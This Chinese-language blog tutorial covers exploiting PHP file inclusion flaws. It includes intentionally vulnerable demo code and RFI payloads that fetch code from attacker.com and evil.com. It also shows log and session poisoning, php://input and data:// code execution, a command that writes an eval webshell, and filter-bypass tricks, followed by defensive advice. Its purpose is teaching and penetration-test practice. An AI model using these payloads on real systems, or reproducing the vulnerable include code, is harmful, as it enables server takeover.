news 2026/8/13 2:26:59

文件包含漏洞深度利用:从原理到实战绕过技巧

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
文件包含漏洞深度利用:从原理到实战绕过技巧

如果你是一名Web安全工程师或渗透测试人员,正在为CTF比赛或企业安全评估做准备,那么“文件包含漏洞”这个名词你一定不陌生。但你是否曾有过这样的困惑:明明理解了本地文件包含(LFL)和远程文件包含(RFL)的基本概念,在实战中却依然屡屡碰壁?为什么靶场环境能轻松利用,到了稍微复杂点的真实场景就无从下手?

问题的核心在于,大多数教程只停留在“是什么”的层面,告诉你“include函数很危险”,却很少深入剖析“为什么”以及“在什么条件下”它能被利用。这导致很多学习者知其然,而不知其所以然,面对变种和防护措施时束手无策。

本文将彻底改变这一现状。我们不只复述概念,而是聚焦于“Web文件包含漏洞的深度利用与实战绕过”。我们将从一个关键判断出发:文件包含漏洞的真正威力,远不止读取/etc/passwd,而在于它如何与服务器配置、编码逻辑、过滤规则相互作用,最终演变为获取Webshell、执行系统命令的致命跳板。

你将通过本文掌握:

  1. 原理深潜:从PHP包含机制出发,理解包含漏洞的本质是“将任意文件内容作为代码执行”。
  2. 实战扩展:超越基础LFI/RFI,深入php://zip://data://等伪协议的高级利用。
  3. 绕过艺术:系统学习针对路径遍历过滤、后缀名限制、协议禁用的多种绕过技巧。
  4. 链式攻击:学习如何将文件包含与日志注入、Session文件、临时文件等结合,形成组合拳。
  5. 防御视角:从攻击手法反推,理解真正有效的安全防护应该怎么做。

本文结构清晰,包含大量可复现的代码示例和排查思路,适合收藏作为实战手册。让我们直接切入核心。

1. 文件包含漏洞:被低估的“代码执行引擎”

很多人把文件包含漏洞简单地理解为“读文件”,这是最大的误解。它的本质是“动态代码引入与执行”

想象一下这个场景:一个PHP应用根据用户选择的“主题”来加载不同的头部文件。

// index.php $theme = $_GET['theme']; include('/themes/' . $theme . '.php');

开发者的本意是让用户选择bluered,从而包含/themes/blue.php。但如果用户传入theme=../../../etc/passwd%00呢?在特定PHP版本下,%00(空字节)会截断后面的.php,导致服务器尝试包含/etc/passwd。虽然/etc/passwd不是PHP代码,包含它会直接暴露其内容。这仅仅是“读文件”。

真正的危险在于,如果被包含的文件内容会被PHP解析器执行。例如,如果攻击者能控制包含一个自身可写的日志文件,并在User-Agent中注入PHP代码,那么包含该日志文件就等同于执行了任意PHP代码。

为什么它比“文件上传漏洞”更隐蔽?

  • 文件上传需要攻击者找到一个上传点,并绕过内容检查。
  • 文件包含可能存在于任何一个动态加载资源的地方(如模板、语言包、配置文件加载),且往往没有明显的“上传”动作,更容易被开发者忽略。

为什么它比“SQL注入”更致命?

  • SQL注入的影响范围通常局限于数据库(窃取数据、篡改数据)。
  • 成功的文件包含漏洞利用,往往直接意味着服务器被完全控制(获得Webshell),危害等级更高。

因此,在审计代码时,任何用户输入直接或间接传递给includerequireinclude_oncerequire_oncefile_get_contents(在某些场景下)等函数的地方,都应视为高危风险点。

2. 核心概念辨析:LFI、RFI与伪协议包含

2.1 本地文件包含(LFI)

LFI是指包含服务器本地文件的漏洞。利用前提是攻击者能够通过路径遍历等手段,定位到目标文件。

常见敏感文件路径(Linux/Unix):

/etc/passwd # 用户账户信息 /etc/shadow # 用户密码哈希(需root权限) /var/log/apache2/access.log # Apache访问日志 /var/log/nginx/access.log # Nginx访问日志 /proc/self/environ # 当前进程环境变量 ~/.bash_history # 当前用户bash历史命令 /var/www/html/config.php # 网站配置文件

基础利用示例:假设存在漏洞的URL为:http://vuln-site.com/index.php?page=about后端代码:include($_GET['page'] . '.php');

攻击者可以尝试:

http://vuln-site.com/index.php?page=../../../etc/passwd%00

(注:%00截断在PHP < 5.3.4且magic_quotes_gpc=off时有效)

2.2 远程文件包含(RFI)

RFI是指包含远程服务器上文件的漏洞。利用前提是PHP配置中allow_url_include选项为On(默认自PHP5.2后为Off)。

利用条件:

  1. allow_url_fopen = On
  2. allow_url_include = On
  3. 目标程序未对包含路径进行有效过滤(如禁止http://https://ftp://等协议头)。

基础利用示例:攻击者在自己的服务器http://attacker.com/shell.txt上放置一个内容为<?php phpinfo();?>的文件。 存在漏洞的URL:http://vuln-site.com/index.php?file=http://attacker.com/shell.txt后端代码:include($_GET['file']);

访问该链接,服务器会远程包含并执行shell.txt中的PHP代码,输出phpinfo()信息。

重要区别:

  • LFI:需要攻击者已经在服务器上有“可读且内容可控/可预测”的文件。
  • RFI:只要配置允许,攻击者可以从外部完全控制被包含的代码内容,利用难度更低,危害更直接。因此,在安全配置中,务必确保allow_url_includeallow_url_fopenOff

2.3 PHP伪协议包含

这是LFI利用的“王牌”,它让攻击者无需依赖RFI配置,也能实现“将非PHP文件作为代码执行”或“灵活读取文件”。以下是几个关键协议:

协议作用常用场景
php://filter对本地文件进行读写过滤转换。读取PHP源码(经过Base64编码绕过解析)、字符串处理。
php://input访问请求的原始数据流。执行POST请求体中的PHP代码。
data://直接包含数据流。将PHP代码直接内嵌在URL中执行,类似RFI。
zip://包含ZIP压缩包中的文件。配合文件上传,绕过后缀名检查。
phar://包含PHAR归档中的文件(PHP归档)。同上,功能更强大。

伪协议是LFI漏洞利用水平的分水岭。掌握它们,意味着你能够利用的漏洞场景呈指数级增长。

3. 环境准备与漏洞靶场搭建

为了安全地学习和实验,我们强烈建议在本地或隔离的虚拟机中搭建靶场环境。

3.1 基础环境

  • 操作系统: Kali Linux, Ubuntu 或 Windows + WSL2。
  • Web服务器: Apache2 或 Nginx。
  • PHP版本: 建议安装PHP 5.x(如5.4、5.6)和PHP 7.x两个版本。许多经典漏洞(如%00截断)在特定版本中才能复现。可以使用phpbrew或Docker来管理多版本。
  • 数据库: 按需安装(本实验非必须)。

3.2 创建漏洞演示代码

在Web根目录(如/var/www/html)下创建以下文件:

1. 基础LFI漏洞文件 (lfi_basic.php):

<?php // 模拟存在漏洞的页面包含功能 $file = $_GET['file']; if(isset($file)) { include($file); } else { echo "Please provide a 'file' parameter."; } ?>

2. 带后缀限制的LFI文件 (lfi_with_ext.php):

<?php // 开发者试图通过添加后缀来修复漏洞,但方法不安全 $page = $_GET['page']; include($page . '.php'); ?>

3. 用于日志注入实验的页面 (visit.php):

<?php // 一个简单的页面,记录访问日志 echo "Your visit has been logged."; ?>

3.3 配置PHP以启用关键功能(用于实验)

编辑PHP配置文件(如/etc/php/7.4/apache2/php.ini),确保以下设置,然后重启Apache。

; 允许访问URL对象(为RFI和部分伪协议实验开启,实验后请关闭!) allow_url_fopen = On allow_url_include = On ; 关闭魔术引号(模拟老旧或不安全配置) magic_quotes_gpc = Off ; 显示错误,方便调试 display_errors = On display_startup_errors = On error_reporting = E_ALL

安全警告:这些配置绝不允许在生产环境中开启。本实验仅在隔离环境进行。

4. 核心利用流程拆解:从读取到代码执行

一个完整的文件包含攻击链通常遵循“信息收集 -> 漏洞探测 -> 利用扩大 -> 持久化”的流程。我们重点拆解“利用扩大”环节。

4.1 第一步:确认漏洞存在与类型

  • 探测LFI:尝试包含/etc/passwdC:\Windows\win.ini等已知存在且可读的文件。
    /lfi_basic.php?file=../../../../etc/passwd
  • 探测RFI:尝试包含一个不存在的远程URL,观察错误信息。或者使用http://attacker.com/test.txt?(末尾加?)来防止服务器添加后缀。
    /lfi_basic.php?file=http://your-ip/test.txt?
  • 观察响应:成功读取文件内容或出现“URL file-access is disabled”等错误,都能帮助你判断漏洞类型和配置。

4.2 第二步:利用php://filter读取源码

当直接包含.php文件时,服务器会执行它而非显示源码。php://filter可以将其内容进行编码转换后输出。

利用链:读取网站配置文件,获取数据库密码或其他敏感信息。

/lfi_basic.php?file=php://filter/convert.base64-encode/resource=index.php /lfi_basic.php?file=php://filter/convert.base64-encode/resource=../config.php

访问上述URL,你会得到经过Base64编码的PHP文件源码。将其解码即可。

# 在Kali Linux中解码 echo "PD9waHAgZWNobyAiSGVsbG8gV29ybGQiOz8+" | base64 -d

4.3 第三步:利用php://inputdata://执行代码

allow_url_include=On时,这两个协议是获取代码执行权限的利器。

方法A:使用php://input

  1. 使用Burp Suite或Curl发起POST请求。
  2. 在请求体中直接写入PHP代码。
POST /lfi_basic.php?file=php://input HTTP/1.1 Host: vuln-site.com Content-Type: application/x-www-form-urlencoded Content-Length: 18 <?php phpinfo();?>

方法B:使用data://直接在URL中内嵌代码,更为简便。

/lfi_basic.php?file=data://text/plain,<?php phpinfo();?> /lfi_basic.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

(注意:代码中的<?php ... ?>需要进行URL编码)

4.4 第四步:利用日志文件进行“无RFI”代码执行

这是LFI利用中最经典、最实用的技巧。思路是:将PHP代码注入到服务器某个可读的文件中(如访问日志、错误日志),然后通过LFI去包含这个日志文件。

操作流程:

  1. 找到日志路径:通常为/var/log/apache2/access.log/var/log/nginx/access.log。可以通过LFI读取/proc/self/fd/下的文件描述符或尝试常见路径来发现。
  2. 注入PHP代码:在HTTP请求的某个字段(如User-Agent, Referer)中插入PHP代码。
    curl -H "User-Agent: <?php system(\$_GET['cmd']);?>" http://vuln-site.com/visit.php
  3. 通过LFI包含日志并执行命令
    /lfi_basic.php?file=/var/log/apache2/access.log&cmd=id
    如果成功,服务器会执行日志文件中的system('id')代码,并返回命令执行结果。

关键点:日志文件通常体积庞大,包含它可能导致超时或内存耗尽。可以尝试在注入后立即访问,或者寻找更小的日志文件(如SSH日志/var/log/auth.log)。

5. 完整实战示例:组合拳获取Webshell

假设我们面对一个目标:http://target.com/index.php?module=news后端代码推测为:include(‘./modules/’ . $_GET[‘module’] . ‘.php’);

我们的目标:上传一个Webshell并执行。

步骤1:信息收集与漏洞确认

# 尝试路径遍历,确认LFI http://target.com/index.php?module=../../../../etc/passwd%00 # 如果成功,说明存在LFI,且可能支持%00截断(PHP版本较老)。

步骤2:尝试伪协议读取源码

# 读取index.php本身,了解程序结构 http://target.com/index.php?module=php://filter/convert.base64-encode/resource=index # 注意,这里参数是`module`,后端会自动加`.php`,所以`resource=index`对应`index.php`。 # 解码后,我们可能发现其他功能点或配置文件路径。

步骤3:寻找可写、可包含的文件

  • 方案A:日志文件(如上文所述)。
  • 方案B:Session文件。如果网站使用PHP Session,且我们知道Session ID,可以尝试向Session文件中注入代码。
    • Session文件路径通常为/tmp/sess_[PHPSESSID]/var/lib/php/sessions/sess_[PHPSESSID]
    • 我们可以通过Cookie设置PHPSESSID<?php phpinfo();?>(需进行URL编码),然后通过LFI包含这个Session文件。
    # 请求1:设置恶意的Session ID curl -b 'PHPSESSID=<?php phpinfo();?>' http://target.com/ # 请求2:包含Session文件(需要猜测或爆破文件名) http://target.com/index.php?module=../../../../tmp/sess_<?php phpinfo();?> # 注意:文件名中的`<` `>` `?`等字符需要根据系统环境处理,成功率受环境限制。

步骤4:利用文件上传+包含获取Webshell假设目标网站还有一个头像上传功能,只允许.jpg.png后缀,并对文件内容进行了检查。

  1. 制作图片马:将一个Webshell代码附加到一张真实图片的末尾。
    echo '<?php eval($_POST["cmd"]);?>' >> shell.jpg
  2. 上传文件:成功上传shell.jpg,获得路径如/uploads/avatar/12345.jpg
  3. 利用包含漏洞执行图片马:使用zip://phar://协议。
    • zip://利用:先将图片马压缩成ZIP,然后上传这个ZIP文件(如果允许上传.zip)。假设上传后路径为/uploads/temp.zip
      http://target.com/index.php?module=zip:///var/www/html/uploads/temp.zip%23shell.jpg
      %23#的URL编码,用于指定ZIP包内的文件)
    • phar://利用:更通用。即使文件后缀是.jpg,只要文件内容符合PHAR格式,就可以用phar://包含执行。这需要先构造一个特殊的PHAR文件,然后修改后缀为.jpg上传。构造PHAR文件需要脚本支持,此处不展开。

步骤5:直接写入Webshell(需有可写目录权限)如果通过LFI能执行命令,可以直接写入Webshell。

# 通过之前的日志包含或php://input执行命令,写入文件 http://target.com/index.php?module=/var/log/apache2/access.log&cmd=echo '<?php eval($_POST[ant]);?>' > /var/www/html/shell.php

然后访问http://target.com/shell.php,使用密码ant进行连接。

6. 高级绕过技巧:应对各种过滤

现代应用会部署各种WAF或自定义过滤规则,我们需要掌握绕过方法。

6.1 路径遍历过滤绕过

  • 绝对路径替代相对路径:如果过滤../,尝试直接使用绝对路径。
    ?file=/etc/passwd ?file=C:\Windows\System32\drivers\etc\hosts
  • 编码绕过
    • URL编码:..%2f(/),%2e%2e%2f(../),%252e%252e%252f(双重URL编码)。
    • Unicode编码:在某些上下文中可能被解析。
  • 超长路径截断:在旧系统/旧PHP版本中,使用超长文件名可能使系统自动截断。
    ?file=../../../etc/passwd/./././.[重复数百次]./././.

6.2 后缀名限制绕过

  • 空字节截断%00(需PHP<5.3.4)。
    ?page=../../../etc/passwd%00
  • 路径长度截断:Windows下路径最大长度259字节,Linux下4096字节。添加大量.//使总长度超限,系统会丢弃后面的后缀。
    ?page=../../../etc/passwd/./././.[重复]...
  • 利用协议:使用php://filter等协议时,其后缀限制通常无效。
    ?page=php://filter/read=convert.base64-encode/resource=../../config
  • 问号截断:在URL中,?后的内容被视为查询参数,不影响文件路径。这在RFI中常用,在LFI中某些场景也有效。
    ?page=http://evil.com/shell.txt? ?page=../../../etc/passwd?.php

6.3 协议黑名单绕过

如果黑名单了http://php://等字符串。

  • 大小写混淆PHP://PhP://
  • 嵌套协议php://filter/convert.base64-encode/resource=php://input(某些场景)。
  • 使用不常见的协议file://expect://(需安装扩展)、ssh2://等。
  • 利用编码:对协议名进行URL编码、双重编码。

6.4 实战综合绕过示例

假设代码过滤如下:

$file = str_replace(array('http://', 'https://', 'ftp://', 'php://', '..', 'etc/passwd'), '', $_GET['file']); include($file . '.php');

绕过思路:

  1. 使用pHp://(大小写)绕过php://的替换。
  2. 使用....//(双写)绕过..的替换。str_replace只替换一次,....//被替换掉中间的..后,剩下的正好是../
  3. 最终Payload:
    ?file=pHp://filter/convert.base64-encode/resource=....//....//....//etc/passwd
    经过过滤后,pHp://保持不变,....//变成../,成功读取/etc/passwd

7. 常见问题与排查思路

在实战利用过程中,你可能会遇到各种错误。下表列出了常见问题及解决方法:

问题现象可能原因排查方式解决方案
包含/etc/passwd返回空白或错误1. 文件不存在(Windows靶场)。
2. PHP配置open_basedir限制。
3. Web服务器无读取权限。
1. 尝试包含Web目录下的已知文件。
2. 查看PHP错误日志。
3. 尝试包含/proc/self/cwd/index.php(当前工作目录)。
1. 切换为Windows路径测试。
2. 尝试绕过open_basedir(有专门技巧)。
3. 寻找其他可读文件。
使用php://input无反应1.allow_url_include=Off
2. 请求不是POST方法。
3. 包装器被禁用。
1. 检查phpinfo()中的配置。
2. 确认使用Burp或Curl发送了POST数据。
1. 尝试data://协议。
2. 转向日志包含或文件上传利用。
日志包含成功但代码不执行1. 日志中的PHP代码被转义或破坏。
2. 包含的日志文件路径不对。
3. 日志文件权限问题。
1. 查看日志文件原始内容,确认代码是否完整。
2. 尝试包含更小的日志文件。
3. 检查文件权限是否为Web用户可读。
1. 确保注入的代码没有特殊字符被转义。
2. 使用<?=短标签或<?php echotest;?>这类简单代码测试。
zip://phar://协议无效1. PHP未支持对应包装器。
2. 文件路径语法错误。
3. ZIP文件内部路径不对。
1. 查看phpinfo()Registered PHP Streams
2. 检查路径中的#是否编码为%23
3. 确认ZIP包内文件存在。
1. 确保使用绝对路径。
2. 正确编码#号。
3. 使用phar://时确保文件是有效的PHAR格式。
包含后页面布局错乱或只显示部分内容被包含的文件输出内容破坏了原页面HTML结构。查看网页源代码。使用php://filterreadencode功能,或通过Burp查看原始响应。

8. 防御最佳实践:从攻击者视角加固

理解了攻击手法,防御就更有针对性。以下是从开发和安全运维角度给出的建议:

8.1 开发阶段

  • 绝对禁止用户输入直接控制包含路径。这是根本。
  • 使用白名单机制。如果必须动态包含,应使用固定的映射数组。
    $allowed_pages = array('home' => 'home.php', 'about' => 'about.php', 'contact' => 'contact.php'); $page = $_GET['page']; if (array_key_exists($page, $allowed_pages)) { include($allowed_pages[$page]); } else { include('404.php'); }
  • 严格限制包含目录。使用basename()函数获取文件名,或使用realpath()检查最终路径是否在允许的目录内。
    $base_dir = '/var/www/html/includes/'; $file = $_GET['file']; $real_path = realpath($base_dir . $file); if ($real_path && strpos($real_path, $base_dir) === 0) { include($real_path); } else { die('Invalid file.'); }
  • 关闭危险特性。在php.ini中:
    allow_url_include = Off allow_url_fopen = Off
  • 及时升级。使用稳定的PHP版本,避免已知的截断类漏洞。

8.2 安全配置

  • 配置open_basedir。将PHP可访问的文件限制在网站目录内。
  • Web服务器权限最小化。以低权限用户运行PHP-FPM或Apache模块,并确保其无法读取系统关键文件(如/etc/shadow)。
  • 严格控制日志目录权限。确保Web用户对日志文件只有追加写入权限,没有读取权限(这可能会影响一些日志分析工具,需权衡)。
  • 部署Web应用防火墙(WAF)。配置规则拦截常见的路径遍历、协议包装器等攻击特征。

8.3 代码审计与渗透测试

  • 在SDL(安全开发生命周期)中引入代码审计,重点检查所有文件操作函数。
  • 定期进行渗透测试,将文件包含漏洞作为测试项。
  • 使用静态代码分析工具(SAST)辅助发现潜在漏洞。

文件包含漏洞如同一把隐藏在代码深处的“万能钥匙”,攻击者一旦获得它,就能打开通往服务器核心的大门。防御的关键,不在于在门上加多少把锁(过滤规则),而在于从根本上不把钥匙的制作方法交给用户

通过本文的深度剖析,你应该已经超越了“读取/etc/passwd”的初级阶段,掌握了利用伪协议、组合日志注入、绕过过滤规则的高级技巧。建议你在授权的靶场环境中反复练习这些技巧,并深刻理解其背后的原理。只有这样,当你进行安全审计或渗透测试时,才能一眼看穿那些看似无害的include语句背后潜藏的巨大风险,并为企业构建起真正有效的防御体系。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/13 2:26:58

C语言string.h函数全解析:从基础原理到安全编程实战

1. 项目概述&#xff1a;为什么你需要彻底吃透<string.h>如果你写过C语言&#xff0c;那你一定用过<string.h>。这个头文件几乎是所有C程序员的“老朋友”&#xff0c;从初学时的strcpy、strlen&#xff0c;到后来项目里处理字符串分割、内存比较&#xff0c;都离不…

作者头像 李华
网站建设 2026/8/13 2:26:10

揭秘互联网网站建设价格背后的真相:普通企业到底该花多少钱才能建出一个既好看又好用的网站

很多老板在创业初期,或者想要给自家企业做一个品牌升级的时候,第一时间想到的往往不是“我要什么样的网站”,而是“我要花多少钱”。这太正常了,毕竟每一分钱都是辛苦挣来的,大家都希望资金能花在刀刃上。但是,只要稍微去打听一下,你就会发现一个让你头昏脑涨的现象:同…

作者头像 李华
网站建设 2026/8/13 2:23:05

AI替代入门岗背后的认知公地悲剧:隐性知识传承危机与应对策略

这类话题最容易陷入两个极端&#xff1a;要么过度恐慌&#xff0c;觉得AI马上就要取代所有工作&#xff1b;要么完全无视&#xff0c;认为AI只是噱头。但“AI削减入门岗”这个现象&#xff0c;背后真正值得讨论的&#xff0c;是它可能引发一种更深层、更隐蔽的问题——“认知公…

作者头像 李华
网站建设 2026/8/13 2:22:46

做企业网站建设方案模板时别踩坑:从需求梳理到上线维护全流程实战指南

在这个数字化浪潮席卷全球的时代,几乎 every 一家企业都在谈论转型,谈论流量,谈论转化。但当你真的坐下来,准备搞一件大事——给公司建一个官网的时候,你会发现,事情远比“找个人做一个网站”这五个字要复杂得多。很多老板在初期往往带着一种“我以为”的心态:我觉得我的…

作者头像 李华
网站建设 2026/8/13 2:20:42

Adobe GenP 3.0:终极Adobe Creative Cloud通用补丁完整指南

Adobe GenP 3.0&#xff1a;终极Adobe Creative Cloud通用补丁完整指南 【免费下载链接】Adobe-GenP Adobe CC 2019/2020/2021/2022/2023 GenP Universal Patch 3.0 项目地址: https://gitcode.com/gh_mirrors/ad/Adobe-GenP Adobe GenP 3.0是一款功能强大的Adobe Creat…

作者头像 李华
网站建设 2026/8/13 2:18:40

临沂网站建设哪家好?找靠谱服务商避坑指南与深度解析

说实话,现在提起临沂,很多人的第一反应可能就是“物流之都”或者“批发市场”。咱们临沂人,做生意的头脑那是全国出了名的灵活、务实,讲究的是“薄利多销,快进快出”。但是,随着电商时代的全面爆发和移动互联网的普及,传统的“档口生意”和“线下批发”模式正面临着前所…

作者头像 李华